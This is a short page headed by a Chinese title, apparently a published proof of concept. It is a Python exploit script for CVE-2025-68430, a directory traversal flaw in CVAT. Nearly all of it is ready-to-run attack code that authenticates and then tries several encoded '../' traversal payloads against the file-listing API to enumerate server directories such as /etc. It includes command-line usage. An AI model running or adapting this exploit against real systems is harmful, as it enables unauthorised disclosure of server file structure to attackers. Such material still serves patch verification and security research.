CVE-2025-68430 CVAT目录遍历漏洞导致敏感目录信息泄露

import requests import sys # CVE-2025-68430 PoC - CVAT Directory Traversal Information Disclosure # Target: CVAT instances versions 2.8.1 to 2.52.0 # Author: Security Research # Reference: https://github.com/cvat-ai/cvat/security/advisories/GHSA-3g7v-xjh7-xmqx def exploit_cvat_directory_traversal(base_url, username, password, target_path): """ Exploit for CVAT directory traversal vulnerability (CVE-2025-68430) This PoC demonstrates how an authenticated attacker can list arbitrary directories. Args: base_url: CVAT instance base URL (e.g., 'https://cvat.example.com') username: Valid CVAT account username password: CVAT account password target_path: Path to enumerate (e.g., '../../etc/', '/var/log/') Returns: List of files and directories if exploitation succeeds """ session = requests.Session() # Step 1: Authenticate with CVAT login_url = f"{base_url}/api/auth/login" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, json=login_data, timeout=10) if response.status_code != 200: print(f"[-] Authentication failed: HTTP {response.status_code}") return None print("[+] Authentication successful") except requests.RequestException as e: print(f"[-] Connection error: {e}") return None # Step 2: Exploit directory traversal via file listing endpoint # The vulnerable endpoint allows path traversal in the 'path' parameter files_url = f"{base_url}/api/v1/files" # Try different path traversal techniques traversal_paths = [ target_path, f"..{target_path}", f"../{target_path}", f"..%2f{target_path}", f"..%252f{target_path}" ] results = [] for path in traversal_paths: try: params = {'path': path} response = session.get(files_url, params=params, timeout=10) if response.status_code == 200: data = response.json() if data and 'files' in data: print(f"[+] Successfully retrieved directory listing for: {path}") print(f"[+] Found {len(data['files'])} items:") for item in data['files']: item_type = 'DIR' if item.get('type') == 'DIR' else 'FILE' print(f" [{item_type}] {item.get('name', 'unknown')}") results.extend(data['files']) except Exception as e: print(f"[-] Error with path {path}: {e}") return results def main(): if len(sys.argv) < 5: print("Usage: python cve_2025_68430.py <base_url> <username> <password> <target_path>") print("Example: python cve_2025_68430.py https://cvat.example.com admin password \"../../etc/\"") sys.exit(1) base_url = sys.argv[1].rstrip('/') username = sys.argv[2] password = sys.argv[3] target_path = sys.argv[4] print(f"[*] CVE-2025-68430 CVAT Directory Traversal PoC") print(f"[*] Target: {base_url}") print(f"[*] Target path: {target_path}") print("-" * 50) results = exploit_cvat_directory_traversal(base_url, username, password, target_path) if results: print(f"\n[+] Exploitation successful! Retrieved {len(results)} items.") else: print("\n[-] Exploitation failed or target not vulnerable.") if __name__ == "__main__": main()